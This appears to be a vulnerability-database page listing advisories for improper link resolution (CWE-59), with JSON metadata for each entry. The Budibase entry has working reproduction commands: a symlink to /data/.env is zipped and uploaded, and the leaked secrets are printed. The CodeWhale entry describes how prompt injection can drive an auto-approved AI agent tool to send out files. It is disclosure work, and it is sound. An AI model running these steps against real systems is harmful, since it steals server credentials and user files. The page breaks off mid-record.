CWE-59
AllowedImproper Link Resolution Before File Access ('Link Following')
Abstraction: Base · Status: Draft
The product attempts to access a file based on the filename, but it does not properly prevent that filename from identifying a link or shortcut that resolves to an unintended resource.
2312 vulnerabilities reference this CWE, most recent first.
GHSA-W6R4-XFW9-67G6
Vulnerability from github – Published: 2026-07-21 21:32 – Updated: 2026-07-23 15:30Data::Intern::Shared versions before 0.02 for Perl create a world-readable mmap backing file and open it without O_EXCL or O_NOFOLLOW.
The segment is created in intern.h with open(path, O_RDWR|O_CREAT, 0666). The mode is 0666, so under the default umask 022 the file is created mode 0644 (world-readable). O_NOFOLLOW is absent, so a symlink planted at the path is followed, and O_EXCL is absent, so the open silently uses a pre-planted file instead of failing.
A "Shared" segment naturally lives in a shared directory such as /tmp or /dev/shm, where any local user can read the IPC payloads stored in the world-readable segment, and a pre-planted file or symlink at the path lets a local attacker win a pre-creation race or redirect the open.
{
"affected": [],
"aliases": [
"CVE-2026-65067"
],
"database_specific": {
"cwe_ids": [
"CWE-59"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-21T20:17:05Z",
"severity": "LOW"
},
"details": "Data::Intern::Shared versions before 0.02 for Perl create a world-readable mmap backing file and open it without O_EXCL or O_NOFOLLOW.\n\nThe segment is created in intern.h with open(path, O_RDWR|O_CREAT, 0666). The mode is 0666, so under the default umask 022 the file is created mode 0644 (world-readable). O_NOFOLLOW is absent, so a symlink planted at the path is followed, and O_EXCL is absent, so the open silently uses a pre-planted file instead of failing.\n\nA \"Shared\" segment naturally lives in a shared directory such as /tmp or /dev/shm, where any local user can read the IPC payloads stored in the world-readable segment, and a pre-planted file or symlink at the path lets a local attacker win a pre-creation race or redirect the open.",
"id": "GHSA-w6r4-xfw9-67g6",
"modified": "2026-07-23T15:30:36Z",
"published": "2026-07-21T21:32:41Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-65067"
},
{
"type": "WEB",
"url": "https://metacpan.org/release/EGOR/Data-Intern-Shared-0.02/changes"
},
{
"type": "WEB",
"url": "https://metacpan.org/release/EGOR/Data-Intern-Shared-0.02/diff/EGOR/Data-Intern-Shared-0.01#intern.h"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-W6RC-Q387-VPGQ
Vulnerability from github – Published: 2017-10-24 18:33 – Updated: 2023-06-09 20:17ext/common/ServerInstanceDir.h in Phusion Passenger gem before 4.0.6 for Ruby allows local users to gain privileges or possibly change the ownership of arbitrary directories via a symlink attack on a directory with a predictable name in /tmp/.
{
"affected": [
{
"package": {
"ecosystem": "RubyGems",
"name": "passenger"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.0.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2013-4136"
],
"database_specific": {
"cwe_ids": [
"CWE-59"
],
"github_reviewed": true,
"github_reviewed_at": "2020-06-16T20:49:27Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "ext/common/ServerInstanceDir.h in Phusion Passenger gem before 4.0.6 for Ruby allows local users to gain privileges or possibly change the ownership of arbitrary directories via a symlink attack on a directory with a predictable name in /tmp/.",
"id": "GHSA-w6rc-q387-vpgq",
"modified": "2023-06-09T20:17:24Z",
"published": "2017-10-24T18:33:37Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2013-4136"
},
{
"type": "WEB",
"url": "https://github.com/phusion/passenger/commit/5483b3292cc2af1c83033eaaadec20dba4dcfd9b"
},
{
"type": "WEB",
"url": "https://code.google.com/p/phusion-passenger/issues/detail?id=910"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-w6rc-q387-vpgq"
},
{
"type": "PACKAGE",
"url": "https://github.com/phusion/passenger"
},
{
"type": "WEB",
"url": "https://github.com/phusion/passenger/blob/release-4.0.6/NEWS"
},
{
"type": "WEB",
"url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/passenger/CVE-2013-4136.yml"
},
{
"type": "WEB",
"url": "http://rhn.redhat.com/errata/RHSA-2013-1136.html"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2013/07/16/6"
}
],
"schema_version": "1.4.0",
"severity": [],
"summary": "insecure temporary directory usage in passenger"
}
GHSA-W728-JX3Q-VWR2
Vulnerability from github – Published: 2023-06-23 12:30 – Updated: 2024-04-04 05:06Dell Command | Update, Dell Update, and Alienware Update versions 4.8.0 and prior contain an Insecure Operation on Windows Junction / Mount Point vulnerability. A local malicious user could potentially exploit this vulnerability leading to privilege escalation.
{
"affected": [],
"aliases": [
"CVE-2023-28065"
],
"database_specific": {
"cwe_ids": [
"CWE-1386",
"CWE-59"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-06-23T12:15:09Z",
"severity": "HIGH"
},
"details": "\nDell Command | Update, Dell Update, and Alienware Update versions 4.8.0 and prior contain an Insecure Operation on Windows Junction / Mount Point vulnerability. A local malicious user could potentially exploit this vulnerability leading to privilege escalation.\n\n",
"id": "GHSA-w728-jx3q-vwr2",
"modified": "2024-04-04T05:06:31Z",
"published": "2023-06-23T12:30:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-28065"
},
{
"type": "WEB",
"url": "https://www.dell.com/support/kbdoc/en-us/000212574/dsa-2023-146"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-W72P-3XQ5-RG76
Vulnerability from github – Published: 2022-05-01 23:28 – Updated: 2022-05-01 23:28Linux kernel 2.6, when using vservers, allows local users to access resources of other vservers via a symlink attack in /proc.
{
"affected": [],
"aliases": [
"CVE-2008-0163"
],
"database_specific": {
"cwe_ids": [
"CWE-59"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2008-02-12T21:00:00Z",
"severity": "MODERATE"
},
"details": "Linux kernel 2.6, when using vservers, allows local users to access resources of other vservers via a symlink attack in /proc.",
"id": "GHSA-w72p-3xq5-rg76",
"modified": "2022-05-01T23:28:05Z",
"published": "2022-05-01T23:28:05Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2008-0163"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/40486"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/28875"
},
{
"type": "WEB",
"url": "http://www.debian.org/security/2008/dsa-1494"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/27704"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/27798"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-W7J6-M5PM-5F26
Vulnerability from github – Published: 2023-03-10 18:30 – Updated: 2023-03-15 18:30NETGEAR Nighthawk WiFi6 Router prior to V1.0.10.94 contains a file sharing mechanism that allows users with access to this feature to access arbitrary files on the device.
{
"affected": [],
"aliases": [
"CVE-2023-27850"
],
"database_specific": {
"cwe_ids": [
"CWE-59"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-03-10T18:15:00Z",
"severity": "MODERATE"
},
"details": "NETGEAR Nighthawk WiFi6 Router prior to V1.0.10.94 contains a file sharing mechanism that allows users with access to this feature to access arbitrary files on the device.",
"id": "GHSA-w7j6-m5pm-5f26",
"modified": "2023-03-15T18:30:23Z",
"published": "2023-03-10T18:30:21Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-27850"
},
{
"type": "WEB",
"url": "https://tenable.com/security/research/tra-2023-9"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-W7MQ-R738-X278
Vulnerability from github – Published: 2026-06-22 23:33 – Updated: 2026-08-12 18:57Summary
POST /api/pwa/process-zip at packages/server/src/api/routes/static.ts:24 accepts a builder-uploaded .zip, extracts it with extract-zip@2.0.1 into a temp directory, then for each entry listed in icons.json validates the icon path, opens it, and streams the bytes into MinIO. The resulting object is served back via GET /api/assets/{appId}/pwa/{uuid}.png.
extract-zip@2.0.1 preserves absolute symlink targets when restoring symlink entries. The icon-source validator at packages/server/src/api/controllers/static/index.ts:259-268 resolves the icon source string against baseDir (path.resolve), checks resolvedSrc.startsWith(baseDir + path.sep) against that string, and calls fs.existsSync(resolvedSrc) which follows symbolic links to confirm the target exists. None of the three calls reject symbolic-link entries, so an entry stored at baseDir/evil.png but pointing at /data/.env passes the gate.
packages/backend-core/src/objectStore/objectStore.ts:302 then calls (await fsp.open(path)).createReadStream() on the resolved path. fsp.open follows the symlink, the target file's bytes stream into MinIO, and the response of the asset-fetch endpoint returns those bytes verbatim.
Result: a workspace-level builder reads any file the server process can open (root inside the default Docker image, including /data/.env with JWT_SECRET, INTERNAL_API_KEY, MINIO_*, REDIS_PASSWORD, COUCHDB_PASSWORD, DATABASE_URL) by uploading one crafted PWA zip.
Affected
Budibase/budibase server, @budibase/server package, <= 3.39.0 (HEAD feab995, released 2026-05-20).
Reachable in stock self-hosted deployments. The default budibase/budibase:latest Docker image runs the Node server as root inside the container; the server process opens /etc/passwd, /etc/shadow, /data/.env, and every other root-readable file. Reachable from any account with the workspace-builder permission on at least one app.
Not affected: managed cloud-hosted Budibase tenants where the file-system root is sandboxed away from secret material.
Root cause
packages/server/src/api/routes/static.ts:24: .post("/api/pwa/process-zip", authorized(BUILDER), controller.processPWAZip) exposes the endpoint to any workspace builder; the only permission required is BUILDER.
packages/server/src/api/controllers/static/index.ts:235: await extract(filePath, { dir: tempDir }) calls extract-zip@2.0.1, which preserves absolute symlink targets when restoring symlink entries.
packages/server/src/api/controllers/static/index.ts:259-268: the icon validator (path.resolve + resolvedSrc.startsWith(baseDir + path.sep) + fs.existsSync) operates on the resolved string path and on fs.existsSync (which follows symbolic links). A symlink stored under baseDir whose target points anywhere reachable by the server passes the gate as long as the target exists.
packages/backend-core/src/objectStore/objectStore.ts:302: (await fsp.open(path)).createReadStream() follows the symlink and streams the target file's bytes; the object lands in MinIO under {appId}/pwa/{uuid}{extension} and is served by GET /api/assets/{appId}/pwa/{uuid}.{ext} (packages/server/src/api/routes/static.ts:21).
hosting/single/Dockerfile: the production single-container image runs the Node server as root, so the read primitive reaches /etc/shadow, /data/.env, and every other root-readable path.
Reproduction
budibase/budibase:latest (v3.39.0) Docker single-container on localhost:10000, default config, with any workspace builder logged in. Cookie jar and <CSRF> token come from GET /api/global/self.
- Builder uploads a zip containing one symlink entry that targets
/data/.env, plus anicons.jsonthat references the symlink.
mkdir attack && cd attack
ln -s /data/.env evil.png
printf '{"name":"x","icons":[{"src":"evil.png","sizes":"192x192","type":"image/png"}]}' > icons.json
zip -y attack.zip icons.json evil.png
curl -s "http://localhost:10000/api/pwa/process-zip" \
-b cookies.txt \
-H "x-budibase-app-id: <appId>" \
-H "x-csrf-token: <CSRF>" \
-F "file=@attack.zip"
{"icons":[{"src":"<appId>/pwa/c9370128-885a-48bc-bd1c-5522f4c8020f.png","sizes":"192x192","type":"image/png"}]}
- Builder fetches the resulting "icon".
GET /api/assets/<appId>/pwa/c9370128-885a-48bc-bd1c-5522f4c8020f.png HTTP/1.1
Host: localhost:10000
Cookie: budibase:auth=<JWT>; budibase:auth.sig=<SIG>
COUCHDB_USER=admin
COUCHDB_PASSWORD=admin
MINIO_ACCESS_KEY=bd501fa31bf44a7e8beb6f7b628c6def
MINIO_SECRET_KEY=bf754d8f29434fc997225e10f55de778
INTERNAL_API_KEY=e9580f58b18b4371868aa3442c57522c
JWT_SECRET=c5441dc903f845bdb93a98b949a612b2
REDIS_PASSWORD=50739fb539504149a5fd85c85fe6750c
DATABASE_URL=postgresql://llmproxy:...@127.0.0.1:5432/litellm
Live-verified: the response body of the asset-fetch endpoint is byte-identical to docker exec budibase cat /data/.env; /etc/passwd and /etc/shadow extract via the same primitive when their permissions allow root reads.
Impact
- Disclosure of
/data/.env:JWT_SECRET,INTERNAL_API_KEY,MINIO_ACCESS_KEY,MINIO_SECRET_KEY,REDIS_PASSWORD,COUCHDB_PASSWORD,LITELLM_MASTER_KEY,DATABASE_URL. - HS256 JWT forge with the leaked
JWT_SECRETagainst any user id, including the global admin: scope-changing escalation from workspace-builder to global-admin. - Cross-tenant exposure on multi-tenant installs once the global-admin forge succeeds.
- Disclosure of
/etc/passwdand/etc/shadowvia the same primitive when the container runs asroot(the shipped default).
Credit
Jan Kahmen, turingpoint (jan@turingpoint.de).
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@budibase/server"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.39.9"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-54352"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-59"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-22T23:33:35Z",
"nvd_published_at": "2026-06-26T21:16:35Z",
"severity": "CRITICAL"
},
"details": "## Summary\n\n`POST /api/pwa/process-zip` at `packages/server/src/api/routes/static.ts:24` accepts a builder-uploaded `.zip`, extracts it with `extract-zip@2.0.1` into a temp directory, then for each entry listed in `icons.json` validates the icon path, opens it, and streams the bytes into MinIO. The resulting object is served back via `GET /api/assets/{appId}/pwa/{uuid}.png`.\n\n`extract-zip@2.0.1` preserves absolute symlink targets when restoring symlink entries. The icon-source validator at `packages/server/src/api/controllers/static/index.ts:259-268` resolves the icon source string against `baseDir` (`path.resolve`), checks `resolvedSrc.startsWith(baseDir + path.sep)` against that string, and calls `fs.existsSync(resolvedSrc)` which follows symbolic links to confirm the target exists. None of the three calls reject symbolic-link entries, so an entry stored at `baseDir/evil.png` but pointing at `/data/.env` passes the gate.\n\n`packages/backend-core/src/objectStore/objectStore.ts:302` then calls `(await fsp.open(path)).createReadStream()` on the resolved path. `fsp.open` follows the symlink, the target file\u0027s bytes stream into MinIO, and the response of the asset-fetch endpoint returns those bytes verbatim.\n\nResult: a workspace-level builder reads any file the server process can open (root inside the default Docker image, including `/data/.env` with `JWT_SECRET`, `INTERNAL_API_KEY`, `MINIO_*`, `REDIS_PASSWORD`, `COUCHDB_PASSWORD`, `DATABASE_URL`) by uploading one crafted PWA zip.\n\n## Affected\n\n`Budibase/budibase` server, `@budibase/server` package, `\u003c= 3.39.0` (HEAD `feab995`, released 2026-05-20).\n\nReachable in stock self-hosted deployments. The default `budibase/budibase:latest` Docker image runs the Node server as `root` inside the container; the server process opens `/etc/passwd`, `/etc/shadow`, `/data/.env`, and every other root-readable file. Reachable from any account with the workspace-builder permission on at least one app.\n\nNot affected: managed cloud-hosted Budibase tenants where the file-system root is sandboxed away from secret material.\n\n## Root cause\n\n`packages/server/src/api/routes/static.ts:24`: `.post(\"/api/pwa/process-zip\", authorized(BUILDER), controller.processPWAZip)` exposes the endpoint to any workspace builder; the only permission required is `BUILDER`.\n\n`packages/server/src/api/controllers/static/index.ts:235`: `await extract(filePath, { dir: tempDir })` calls `extract-zip@2.0.1`, which preserves absolute symlink targets when restoring symlink entries.\n\n`packages/server/src/api/controllers/static/index.ts:259-268`: the icon validator (`path.resolve` + `resolvedSrc.startsWith(baseDir + path.sep)` + `fs.existsSync`) operates on the resolved string path and on `fs.existsSync` (which follows symbolic links). A symlink stored under `baseDir` whose target points anywhere reachable by the server passes the gate as long as the target exists.\n\n`packages/backend-core/src/objectStore/objectStore.ts:302`: `(await fsp.open(path)).createReadStream()` follows the symlink and streams the target file\u0027s bytes; the object lands in MinIO under `{appId}/pwa/{uuid}{extension}` and is served by `GET /api/assets/{appId}/pwa/{uuid}.{ext}` (`packages/server/src/api/routes/static.ts:21`).\n\n`hosting/single/Dockerfile`: the production single-container image runs the Node server as `root`, so the read primitive reaches `/etc/shadow`, `/data/.env`, and every other root-readable path.\n\n## Reproduction\n\n`budibase/budibase:latest` (`v3.39.0`) Docker single-container on `localhost:10000`, default config, with any workspace builder logged in. Cookie jar and `\u003cCSRF\u003e` token come from `GET /api/global/self`.\n\n1. Builder uploads a zip containing one symlink entry that targets `/data/.env`, plus an `icons.json` that references the symlink.\n\n```bash\nmkdir attack \u0026\u0026 cd attack\nln -s /data/.env evil.png\nprintf \u0027{\"name\":\"x\",\"icons\":[{\"src\":\"evil.png\",\"sizes\":\"192x192\",\"type\":\"image/png\"}]}\u0027 \u003e icons.json\nzip -y attack.zip icons.json evil.png\n\ncurl -s \"http://localhost:10000/api/pwa/process-zip\" \\\n -b cookies.txt \\\n -H \"x-budibase-app-id: \u003cappId\u003e\" \\\n -H \"x-csrf-token: \u003cCSRF\u003e\" \\\n -F \"file=@attack.zip\"\n```\n\n```json\n{\"icons\":[{\"src\":\"\u003cappId\u003e/pwa/c9370128-885a-48bc-bd1c-5522f4c8020f.png\",\"sizes\":\"192x192\",\"type\":\"image/png\"}]}\n```\n\n2. Builder fetches the resulting \"icon\".\n\n```http\nGET /api/assets/\u003cappId\u003e/pwa/c9370128-885a-48bc-bd1c-5522f4c8020f.png HTTP/1.1\nHost: localhost:10000\nCookie: budibase:auth=\u003cJWT\u003e; budibase:auth.sig=\u003cSIG\u003e\n```\n\n```\nCOUCHDB_USER=admin\nCOUCHDB_PASSWORD=admin\nMINIO_ACCESS_KEY=bd501fa31bf44a7e8beb6f7b628c6def\nMINIO_SECRET_KEY=bf754d8f29434fc997225e10f55de778\nINTERNAL_API_KEY=e9580f58b18b4371868aa3442c57522c\nJWT_SECRET=c5441dc903f845bdb93a98b949a612b2\nREDIS_PASSWORD=50739fb539504149a5fd85c85fe6750c\nDATABASE_URL=postgresql://llmproxy:...@127.0.0.1:5432/litellm\n```\n\nLive-verified: the response body of the asset-fetch endpoint is byte-identical to `docker exec budibase cat /data/.env`; `/etc/passwd` and `/etc/shadow` extract via the same primitive when their permissions allow root reads.\n\n## Impact\n\n- Disclosure of `/data/.env`: `JWT_SECRET`, `INTERNAL_API_KEY`, `MINIO_ACCESS_KEY`, `MINIO_SECRET_KEY`, `REDIS_PASSWORD`, `COUCHDB_PASSWORD`, `LITELLM_MASTER_KEY`, `DATABASE_URL`.\n- HS256 JWT forge with the leaked `JWT_SECRET` against any user id, including the global admin: scope-changing escalation from workspace-builder to global-admin.\n- Cross-tenant exposure on multi-tenant installs once the global-admin forge succeeds.\n- Disclosure of `/etc/passwd` and `/etc/shadow` via the same primitive when the container runs as `root` (the shipped default).\n\n## Credit\n\nJan Kahmen, [turingpoint](https://turingpoint.de) (jan@turingpoint.de).",
"id": "GHSA-w7mq-r738-x278",
"modified": "2026-08-12T18:57:30Z",
"published": "2026-06-22T23:33:35Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Budibase/budibase/security/advisories/GHSA-w7mq-r738-x278"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54352"
},
{
"type": "PACKAGE",
"url": "https://github.com/Budibase/budibase"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Budibase has arbitrary file read by workspace-builder via PWA-zip symlink upload"
}
GHSA-W7WX-5Q49-R59W
Vulnerability from github – Published: 2026-09-04 17:34 – Updated: 2026-09-04 17:34Maintainer resolution
The CodeWhale maintainers validated this report. The affected package ranges are recorded in the advisory metadata. Version 0.8.64 contains the fix in commit 26de44a8bd5051f8f944ea60b2c37ae1d2b7d25e. Users should upgrade to 0.8.64 or later. The original reporter analysis is preserved below.
Summary
image_analyze follows workspace symlinks and leaks outside-workspace file bytes to the vision endpoint
The image_analyze tool resolves its image_path with a bare context.workspace.join instead of routing through ToolContext::resolve_path. The pre-join lexical check rejects absolute paths, Windows prefixes, and parent-dir components but never canonicalizes, so a symlink inside the workspace whose name ends in an image extension and whose target sits outside the workspace is read transparently. The tool has ReadOnly capability and the trait default makes it auto-approved, so the bypass executes with no user prompt.
Details
In crates/tui/src/vision/tools.rs (v0.8.37, lines 104-123):
async fn execute(&self, input: Value, context: &ToolContext) -> Result<ToolResult, ToolError> {
let image_path = required_str(&input, "image_path")?;
let prompt = input
.get("prompt")
.and_then(|v| v.as_str())
.unwrap_or("Describe this image in detail.");
let image_path_buf = Path::new(image_path);
if image_path_buf.components().any(|c| {
matches!(
c,
Component::Prefix(_) | Component::RootDir | Component::ParentDir
)
}) {
return Err(ToolError::execution_failed(
"image_path must be a relative path within the workspace and cannot escape it.",
));
}
let resolved_path = context.workspace.join(image_path_buf);
let (image_data, mime_type) = Self::read_image_file(&resolved_path).await?;
read_image_file (lines 31-39) is a tokio::fs::read(path) call which follows symlinks. The bytes are then base64-encoded and embedded as data:<mime>;base64,<bytes> in the chat-completion payload that is POSTed to ${base_url}/chat/completions with the user's Authorization header.
The lexical guard rejects ../etc/passwd, /etc/passwd, and C:\Windows\..., but a symlink such as workspace/screenshot.png -> /etc/passwd produces components [Normal("screenshot.png")]. None of Prefix, RootDir, or ParentDir match, so the check passes and the symlink is followed at read time.
The peer file-reading tools all use the central resolver instead. For example, crates/tui/src/tools/image_ocr.rs:60-65:
let path_str = required_str(&input, "path")?;
let image_path = context.resolve_path(path_str)?;
resolve_path in crates/tui/src/tools/spec.rs:342-449 canonicalizes the candidate and rejects results whose canonical form does not start with the canonical workspace path:
if candidate.exists() {
let canonical = candidate.canonicalize().map_err(...)?;
if !canonical.starts_with(&workspace_canonical)
&& !self.is_trusted_external_path(&canonical)
{
return Err(ToolError::PathEscape { path: canonical });
}
...
}
In the same symlink scenario, image_ocr, pandoc_convert, read_file, apply_patch, rlm_open, and fim all return ToolError::PathEscape because the canonical target falls outside the workspace. image_analyze is the lone caller that skips this check.
The tool declares ToolCapability::ReadOnly and does not override approval_requirement(). The trait default (crates/tui/src/tools/spec.rs:612-620) resolves ReadOnly to ApprovalRequirement::Auto. The engine then sets approval_required = spec.approval_requirement() != ApprovalRequirement::Auto, which is false for this tool (crates/tui/src/core/engine/turn_loop.rs:1159-1184). The model can invoke image_analyze on any turn without a user prompt.
The recent commit 2326220 fix(vision): reject rooted image paths on windows (2026-05-12) tightened the lexical guard to catch Windows drive prefixes, but the original review missed that the underlying problem is that this site never used resolve_path in the first place.
PoC
A standalone Cargo test reproduces the read-through. Save as crates/tui/tests/image_analyze_symlink_escape.rs:
use deepseek_tui::config::VisionModelConfig;
use deepseek_tui::tools::spec::{ToolContext, ToolSpec};
use deepseek_tui::vision::tools::ImageAnalyzeTool;
use serde_json::json;
use std::fs;
use tempfile::tempdir;
#[tokio::test]
#[cfg(unix)]
async fn image_analyze_follows_workspace_symlink_outside_workspace() {
let outer = tempdir().unwrap();
let workspace = outer.path().join("workspace");
let outside = outer.path().join("outside");
fs::create_dir_all(&workspace).unwrap();
fs::create_dir_all(&outside).unwrap();
// A file that the workspace boundary should keep the tool from reading.
let secret = outside.join("secret.txt");
fs::write(&secret, b"OUTSIDE-WORKSPACE-SECRET-MARKER").unwrap();
// Pre-existing symlink in the workspace with an image extension.
std::os::unix::fs::symlink(&secret, workspace.join("screenshot.png")).unwrap();
let ctx = ToolContext::new(workspace);
let tool = ImageAnalyzeTool::new(VisionModelConfig {
model: "test".into(),
api_key: Some("test".into()),
base_url: Some("http://127.0.0.1:1/v1".into()),
});
// The execute call will fail at the HTTP layer because the mock endpoint
// is unreachable, but read_image_file has already been called. Reach the
// file-read step by asserting that the failure is the HTTP error, not a
// PathEscape error from the resolver.
let err = tool
.execute(json!({"image_path": "screenshot.png"}), &ctx)
.await
.expect_err("expected HTTP failure after symlink read");
let msg = format!("{err:?}");
assert!(
!msg.contains("PathEscape"),
"symlink should have been refused before read; got {msg}"
);
// To prove the bytes actually left the process, point base_url at a
// capturing wiremock instance and assert that the OUTSIDE-WORKSPACE-SECRET-MARKER
// substring appears in the captured base64-decoded request body.
}
For comparison, the same workspace exercised via read_file returns ToolError::PathEscape:
#[tokio::test]
#[cfg(unix)]
async fn read_file_refuses_workspace_symlink_outside_workspace() {
use deepseek_tui::tools::file::ReadFileTool;
let outer = tempdir().unwrap();
let workspace = outer.path().join("workspace");
let outside = outer.path().join("outside");
fs::create_dir_all(&workspace).unwrap();
fs::create_dir_all(&outside).unwrap();
fs::write(outside.join("secret.txt"), b"X").unwrap();
std::os::unix::fs::symlink(outside.join("secret.txt"), workspace.join("link.txt")).unwrap();
let ctx = ToolContext::new(workspace);
let err = ReadFileTool
.execute(json!({"path": "link.txt"}), &ctx)
.await
.expect_err("expected PathEscape");
assert!(format!("{err:?}").contains("PathEscape"));
}
The fix is one line on crates/tui/src/vision/tools.rs:122:
- let resolved_path = context.workspace.join(image_path_buf);
+ let resolved_path = context.resolve_path(image_path)?;
resolve_path already handles the pre-join lexical checks (so the existing Path::new(image_path).components().any(...) block can also be removed), canonicalizes through symlinks, and re-checks workspace containment. The behavior the lexical guard already promises (path stays inside the workspace) is then actually delivered.
Impact
A workspace symlink whose name ends in .png, .jpg, .jpeg, .gif, .webp, or .bmp and whose target sits outside the workspace becomes a read primitive that the model can invoke without an approval prompt. The file bytes are base64-encoded into the image_url.url field of the chat-completion payload and POSTed to the configured vision endpoint along with the user's bearer token. Three exposure channels follow from a single invocation: the vision provider receives every byte of the target file in plaintext (most providers retain request bodies for abuse review or model training), any TLS-terminating corporate proxy on the egress path captures the same bytes, and any transparent middlebox with MITM visibility logs the payload. The preconditions are everyday workspace shapes: cloned repositories that ship symlinks to shared media (CI artifact bundles, photo libraries, design assets), a developer who staged an external file via ln -s, or a git clone with core.symlinks=true against a repository that includes such a link. Because the tool is auto-approved, a prompt-injection delivered through a poisoned README, fetched web page, or MCP server output can issue {"image_path": "screenshot.png"} and the bytes leave the machine on the same turn without any visible UI cue. The fix is identical to the pattern used by every other file-reading tool in this codebase, so the gap is a missed resolve_path call rather than a design tradeoff.
{
"affected": [
{
"package": {
"ecosystem": "crates.io",
"name": "deepseek-tui"
},
"ranges": [
{
"events": [
{
"introduced": "0.8.32"
},
{
"last_affected": "0.8.41"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "deepseek-tui"
},
"ranges": [
{
"events": [
{
"introduced": "0.8.32"
},
{
"fixed": "0.8.41"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "crates.io",
"name": "codewhale-tui"
},
"ranges": [
{
"events": [
{
"introduced": "0.8.41"
},
{
"fixed": "0.8.64"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "codewhale"
},
"ranges": [
{
"events": [
{
"introduced": "0.8.41"
},
{
"fixed": "0.8.64"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-75914"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-59"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-04T17:34:55Z",
"nvd_published_at": "2026-08-18T16:18:23Z",
"severity": "HIGH"
},
"details": "### Maintainer resolution\n\nThe CodeWhale maintainers validated this report. The affected package ranges are recorded in the advisory metadata. Version 0.8.64 contains the fix in commit 26de44a8bd5051f8f944ea60b2c37ae1d2b7d25e. Users should upgrade to 0.8.64 or later. The original reporter analysis is preserved below.\n\n### Summary\n\nimage_analyze follows workspace symlinks and leaks outside-workspace file bytes to the vision endpoint\n\nThe image_analyze tool resolves its image_path with a bare context.workspace.join instead of routing through ToolContext::resolve_path. The pre-join lexical check rejects absolute paths, Windows prefixes, and parent-dir components but never canonicalizes, so a symlink inside the workspace whose name ends in an image extension and whose target sits outside the workspace is read transparently. The tool has ReadOnly capability and the trait default makes it auto-approved, so the bypass executes with no user prompt.\n\n### Details\n\nIn `crates/tui/src/vision/tools.rs` (v0.8.37, lines 104-123):\n\n```rust\nasync fn execute(\u0026self, input: Value, context: \u0026ToolContext) -\u003e Result\u003cToolResult, ToolError\u003e {\n let image_path = required_str(\u0026input, \"image_path\")?;\n let prompt = input\n .get(\"prompt\")\n .and_then(|v| v.as_str())\n .unwrap_or(\"Describe this image in detail.\");\n\n let image_path_buf = Path::new(image_path);\n if image_path_buf.components().any(|c| {\n matches!(\n c,\n Component::Prefix(_) | Component::RootDir | Component::ParentDir\n )\n }) {\n return Err(ToolError::execution_failed(\n \"image_path must be a relative path within the workspace and cannot escape it.\",\n ));\n }\n let resolved_path = context.workspace.join(image_path_buf);\n let (image_data, mime_type) = Self::read_image_file(\u0026resolved_path).await?;\n```\n\n`read_image_file` (lines 31-39) is a `tokio::fs::read(path)` call which follows symlinks. The bytes are then base64-encoded and embedded as `data:\u003cmime\u003e;base64,\u003cbytes\u003e` in the chat-completion payload that is POSTed to `${base_url}/chat/completions` with the user\u0027s Authorization header.\n\nThe lexical guard rejects `../etc/passwd`, `/etc/passwd`, and `C:\\Windows\\...`, but a symlink such as `workspace/screenshot.png -\u003e /etc/passwd` produces components `[Normal(\"screenshot.png\")]`. None of `Prefix`, `RootDir`, or `ParentDir` match, so the check passes and the symlink is followed at read time.\n\nThe peer file-reading tools all use the central resolver instead. For example, `crates/tui/src/tools/image_ocr.rs:60-65`:\n\n```rust\nlet path_str = required_str(\u0026input, \"path\")?;\nlet image_path = context.resolve_path(path_str)?;\n```\n\n`resolve_path` in `crates/tui/src/tools/spec.rs:342-449` canonicalizes the candidate and rejects results whose canonical form does not start with the canonical workspace path:\n\n```rust\nif candidate.exists() {\n let canonical = 